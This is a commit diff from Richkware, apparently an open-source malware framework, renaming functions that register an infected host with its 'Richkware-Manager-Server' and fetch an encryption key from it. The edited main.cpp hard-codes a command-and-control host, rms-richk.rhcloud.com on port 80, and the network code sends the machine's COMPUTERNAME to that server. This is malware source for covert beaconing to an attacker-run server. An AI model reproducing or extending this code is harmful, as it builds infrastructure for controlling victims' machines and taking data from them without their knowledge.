rename some functions.

NextSecurity · Aug 31, 2017 · 9b6c821 · 9b6c821
1 parent 4143ef3
commit 9b6c821
Show file tree

Hide file tree

Showing 4 changed files with 8 additions and 8 deletions.
diff --git a/main.cpp b/main.cpp
@@ -2,11 +2,10 @@
 *      Copyright 2016 Riccardo Melioli. All Rights Reserved.
 */
 
-#include <iostream>
 #include "src/richkware.h"
 
 int main() {
-    Richkware richkware("Richk","richktest");
+    Richkware richkware("Richk","richktest","rms-richk.rhcloud.com", "80");
 
     // PUT YOUR CODE HERE
 

diff --git a/src/network.cpp b/src/network.cpp
@@ -132,7 +132,7 @@ std::string Network::RawRequest(const char* serverAddress, const char* port,	con
 }
 
 
-bool Network::UploadInfoToRichkwareManagerServer(const char * serverAddress, const char* port) {
+bool Network::UploadInfoToRMS(const char * serverAddress, const char* port) {
     const char* serverPort = server.getPort();
     Crypto crypto(encryptionKey);
 
@@ -152,12 +152,12 @@ bool Network::UploadInfoToRichkwareManagerServer(const char * serverAddress, con
     return true;
 }
 
-std::string Network::KeyExchange(const char * serverAddress, const char* port){
+std::string Network::GetEncryptionKeyFromRMS(const char * serverAddress, const char* port){
     Crypto crypto(encryptionKey);
     std::string key = "";
 
     // create a database entry into the Richkware-Manager-Server, to obtain the encryption key server-side generated
-    UploadInfoToRichkwareManagerServer(serverAddress,port);
+    UploadInfoToRMS(serverAddress,port);
 
     // Primary key in RMS database.
     std::string name = getenv("COMPUTERNAME");

diff --git a/src/network.h b/src/network.h
@@ -58,8 +58,9 @@ class Network {
 
     std::string RawRequest(const char* serverAddress, const char* port, const char* request);
     const char* ResolveAddress(const char* address);
-    std::string KeyExchange(const char * serverAddress, const char* port);
-    bool UploadInfoToRichkwareManagerServer(const char * serverAddress, const char* port);
+    std::string GetEncryptionKeyFromRMS(const char * serverAddress, const char* port);
+    // upload info to Richkware-Manager-Server
+    bool UploadInfoToRMS(const char * serverAddress, const char* port);
 };
 
 class Device {

diff --git a/src/richkware.cpp b/src/richkware.cpp
@@ -148,7 +148,7 @@ Richkware::Richkware(const char *AppNameArg, const char *defaultEncryptionKey, c
     if (encKey.empty()) {
         // Key Exchange with Richkware-Manager-Server, using defaultEncryptionKey.
         Network network1(defaultEncryptionKey);
-        encKey = network1.KeyExchange(serverAddress, port);
+        encKey = network1.GetEncryptionKeyFromRMS(serverAddress, port);
 
         if (encKey.empty() || (encKey.compare("Error") == 0)) {
             // Key Exchange failed